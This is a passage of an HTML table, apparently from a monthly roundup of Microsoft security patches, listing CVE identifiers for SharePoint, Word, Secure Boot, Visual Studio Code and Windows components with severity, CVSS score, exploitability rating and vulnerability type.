  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
